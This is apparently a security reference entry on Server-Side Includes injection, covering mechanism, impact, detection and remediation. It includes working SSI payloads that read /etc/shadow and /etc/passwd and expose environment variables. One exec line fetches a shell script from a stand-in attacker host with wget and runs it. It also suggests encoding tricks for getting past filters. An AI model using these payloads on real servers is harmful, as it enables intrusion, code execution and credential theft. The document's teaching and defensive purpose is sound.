Description
Server-Side Includes (SSI) injection occurs when an application reflects user-controlled input into a document processed by the web server's SSI engine. SSI is a simple interpreted server-side scripting language originally designed for including common page fragments (headers, footers) and displaying server variables in HTML files. When user input reaches an SSI-enabled context without sanitisation, attackers can inject SSI directives that the server will execute, potentially achieving operating system command execution.
CWE-97 — Improper Neutralisation of Server-Side Includes within a Web Page specifically covers this class of vulnerability. Under A03:2021 — Injection, SSI injection is grouped with other injection vulnerabilities because the root cause is identical: unsanitised user input is interpreted as executable code by a server-side engine.
SSI is most common in legacy Apache and Nginx configurations serving .shtml or .shtm files, but it can also be enabled for .html files via server configuration. Many developers are unaware that SSI is enabled on their server — it is often inherited from a hosting environment default configuration.
How It Works
SSI directives take the form <!--#directive parameter="value" -->. When injected into a page context processed by the SSI engine, these directives are executed before the response is sent to the client.
File content inclusion:
GET /page?name=<!--%23include+virtual%3D"/etc/passwd"-->
If the name parameter is reflected in an .shtml page, the server executes the include directive and inserts the contents of /etc/passwd into the response.
OS command execution via the exec directive:
<!--#exec cmd="id" -->
<!--#exec cmd="cat /etc/shadow" -->
<!--#exec cmd="wget http://attacker.com/shell.sh -O /tmp/s && bash /tmp/s" -->
A proof-of-concept test that generates no harmful output but confirms execution:
GET /feedback?comment=<!--%23exec+cmd%3D"id"-->
HTTP/1.1 200 OK
Your comment: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Environment variable disclosure — SSI can print server-side variables without using the exec directive, making it valuable for information gathering even without command execution:
<!--#printenv -->
<!--#echo var="DOCUMENT_ROOT" -->
<!--#echo var="SERVER_SOFTWARE" -->
<!--#echo var="HTTP_AUTHORIZATION" -->
Common injection entry points in legacy applications include:
- Guest book or comment fields stored and later displayed in
.shtmlpages. - Name fields in "welcome back" messages rendered server-side.
- Error pages that reflect the requested URL or query parameters.
- HTTP headers such as
User-AgentorRefererthat are logged and displayed in admin panels.
Impact
- Remote code execution — the
exec cmddirective executes arbitrary OS commands with the web server process's privileges, equivalent to OS command injection. - Sensitive file disclosure — the
includedirective reads and returns the contents of any file accessible to the web server process, including/etc/passwd, application configuration files, and private keys. - Information disclosure —
printenvandecho vardirectives expose server environment variables includingHTTP_AUTHORIZATIONand deployment configuration. - Web shell installation —
exec cmdcan be used to write a PHP or CGI web shell to a web-accessible directory, providing persistent access. - Lateral movement — OS command access from the web server host enables pivoting to internal network services.
Detection
- Identify SSI-enabled pages — look for
.shtml,.shtmfile extensions in the application. Check the web server configuration forXBitHack onorAddOutputFilter INCLUDES .htmldirectives that enable SSI on other extensions. - Inject a safe SSI echo payload — submit
<!--#echo var="DATE_LOCAL" -->into all input fields reflected in page output. A date string appearing in the response confirms SSI execution. - Test with
printenv— inject<!--#printenv -->to check for environment variable disclosure without triggering command execution. - Fuzz with URL encoding — test
<!--%23exec+cmd%3D"id"-->and variants with double-encoding to bypass input filters that block literal<!--#sequences. - Check HTTP header reflection — inject SSI payloads into
User-Agent,Referer, andX-Forwarded-Forheaders and trigger page views that might display these values in an SSI-processed admin context.
Remediation
Disable SSI if not required. In Apache, remove Includes from the Options directive and ensure mod_include is not loaded. In Nginx, confirm that ssi off is set (the default) and is not overridden in any virtual host configuration.
Disable the exec directive specifically. If SSI is required for includes but not command execution, disable only the exec capability in Apache:
Options +Includes
SSIOptions +DisableExec
Sanitise all output in SSI-enabled contexts. Encode <, >, #, and " in any value reflected into .shtml pages using HTML entity encoding. SSI directives require literal <!--# — encoding the # character is sufficient to neutralise the directive.
Move to a modern templating system. Replace SSI-based page assembly with a server-side templating engine (Jinja2, Handlebars, Thymeleaf) that does not provide OS command execution primitives.
